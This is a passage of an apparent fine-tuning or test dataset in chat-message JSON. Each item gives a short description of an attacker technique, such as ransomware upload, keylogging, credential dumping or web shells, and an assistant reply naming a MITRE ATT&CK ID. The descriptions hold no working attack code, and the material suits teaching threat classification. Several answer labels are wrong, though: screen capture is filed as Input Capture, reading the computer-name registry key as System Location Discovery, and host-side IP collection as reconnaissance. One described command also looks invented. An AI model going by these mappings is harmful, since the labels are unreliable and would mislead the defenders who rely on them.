                "role": "user",
                "content": "Actor abuses an insecure web admin interface to upload ransomware binaries to the server."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects a malicious driver that replaces entries in the KernelCallbackTable to hijack execution flow of user-mode requests."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary used a compromised AWS IAM user password to gain unauthorized access to EC2 instances."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor created a persistent tunnel via an external VPN provider to bypass the organization’s firewall."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries WHOIS information for the target's domain to uncover the physical location of its hosting facilities."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries deploy a user‑mode keylogger that hooks Windows API functions like GetAsyncKeyState to capture all typed characters."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor includes code that constructs domain names using a hash of the victim’s hostname and the current epoch time, then attempts resolution."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During cleanup, the adversary runs a script to remove all network share connections and clears the recent network locations history."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads the registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\ComputerName to obtain the device name."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a kernel driver to duplicate outbound traffic and route the duplicated streams to an external data sink."
            },
            {
                "role": "assistant",
                "content": "T1020.001 - Automated Exfiltration: Traffic Duplication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors set up a fake software license renewal portal that, after users enter credentials, serves a disguised malware downloader which installs a banking Trojan."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor runs 'netstat -rn' to view the routing table entries and determines the presence of a default gateway used for internet traffic."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exploits a legitimate macOS LaunchAgent by editing its program arguments to execute a trojan."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script parses Telegram chat messages to locate credential leaks and transmits the data over DNS."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors configure the Winlogon\\AppInit_DLLs key to load a rogue DLL during the Winlogon process initialization."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Reflection amplification attacks leverage publicly reachable services like Memcached to flood a victim with amplified traffic."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor runs a PowerShell command that syncs the victim’s OneDrive sync folder with a remote server."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor performs a credential policy discovery by issuing the 'pwdpolicy' command on a Unix system."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses sc.exe to create a hidden service that launches a reverse shell each time the machine starts."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign results in the attacker revoking MFA tokens and disabling the victim’s account."
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses NtAlertThread to schedule a malicious APC on a remote thread, allowing the injected code to run with the thread’s privileges."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor adds a scheduled task named 'Microsoft Update' that executes a backdoor at system startup."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors delete system logs and other forensic artifacts to cover their tracks."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised service account, the malicious actor opened an RDP session to a high‑privilege server to install backdoors."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By directly invoking the NtReadVirtualMemory API, the adversary extracts sensitive data from protected processes."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker implements email hiding rules that archive any email with the subject 'Invoice' to a hidden archive folder, burying malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a compromised cloud storage bucket to stage exfiltrated data."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed a public‑key encrypted payload within HTTP requests, making the content appear benign while securing it from analysis."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involves exploiting a serverless platform's logging misconfiguration to hide malicious activity and maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a memory corruption flaw in a core system library, the attacker forces the operating system to halt."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets up a compromised web server to relay traffic from the victim's network to external command-and-control servers, effectively using an external proxy."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software encapsulates command data inside legitimate NTP packets, appearing as normal time synchronization traffic."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion utilizes stored password hashes to authenticate to services, avoiding the need for clear‑text passwords."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion detection system flagged a process where msiexec was started with the /install and /noui options to silently install a trojanized package."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious Outlook rule is added to automatically run a hidden executable each time the user opens an email from a particular sender, enabling stealthy command execution."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers scour Facebook groups and pages for posts that contain screenshots of internal documents or confidential data."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers set up a peer‑to‑peer botnet using compromised gaming consoles to hide C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerPoint template (.potm) is distributed, causing the embedded macro to execute during application startup."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates domain trust relationships to discover which networks share authentication credentials."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder utilized a scheduled task to sync a network share with a malicious FTP server."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor creates a Microsoft Azure virtual machine using stolen service principal credentials."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker adds a new entry to /etc/crontab that runs a PowerShell script to download ransomware every night at 2 AM."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A payload exfiltrates data by establishing a symmetric‑encrypted session over a non‑standard communication protocol, bypassing usual monitoring."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious driver installs itself and continuously triggers kernel panic loops, causing the endpoint to reboot repeatedly."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performed systematic queries of public vulnerability tracking sites to map weaknesses in the victim's environment."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script leverages the victim's OAuth token to upload files to a personal Mega.nz account."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit changes the system's cryptographic policy to enforce a minimum key length of 64 bits, dramatically narrowing the key space."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages compromised Active Directory accounts to access resources across the network."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set exploits a CVE in the router's web interface to inject commands that reset the device's SSH login credentials to values chosen by the attacker."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor injects a backdoor DLL into the Terminal Services server process (termsrv.exe) to maintain persistence across reboots."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the built‑in Control Panel executable to run malicious payloads, effectively using system binary proxy execution."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor accesses the SAM and SECURITY hives to retrieve stored domain credential caches."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries the organization's mail server via LDAP to enumerate all email addresses associated with user accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Account Discovery: Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary hijacks a service account used for inter‑organizational file transfers, allowing unauthorized access to internal servers."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group leverages UEFI Secure Boot bypass to load unsigned firmware components that execute at boot time."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insider provisions a new IAM user in the organization's cloud account and assigns admin rights."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies the SNMP community strings on a network router, giving them unauthorized read and write capabilities."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script creates a domain account without requiring interactive login."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remote data staging is performed by syncing exfiltrated files to a malicious SMB share on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group obtained a code signing certificate by bribing an employee at a trusted certificate provider."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is pre-installed on IoT devices at the factory, enabling attackers to take control after the devices are deployed."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious web shell was disguised as a legitimate image file, bypassing security controls and providing a remote command prompt."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves placing a malicious form in Outlook that runs a payload as part of the client’s normal startup routine."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor altered the MIME type of a payload to \"application/pdf\" while the file was a .js script, tricking web filters that inspect content types."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set executed a PowerShell command to recursively delete all .sql files from the database server."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is added as a transport agent in the mail server, allowing execution of commands on each processed message."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By constantly updating A records for a malicious domain, the threat actor ensures that each DNS lookup resolves to a different compromised server, a classic fast‑flux technique."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group assembles a library of exploits for common applications to enhance their operational capacity."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An infection runs a PowerShell equivalent on macOS to read the login.keychain file and steal stored SSH keys."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spyware stores keylogger output in a binary blob, then applies a custom Caesar shift on each byte before sending it via DNS queries."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑criminal uses the 'Run' registry key to automatically launch a malicious executable on boot."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host runs a script that collects and reports the internal IP addresses of all connected machines."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages the Windows Credential Manager API to retrieve credentials saved by Internet Explorer and Edge browsers."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of malware installs a proxy service on a compromised internal host, allowing the attacker to route malicious traffic through it to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware employs a screen capture routine triggered by the user pressing the PrintScreen key, then sends the image to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker repeatedly triggers a PDF rendering engine via crafted documents, causing the application to consume all available RAM."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
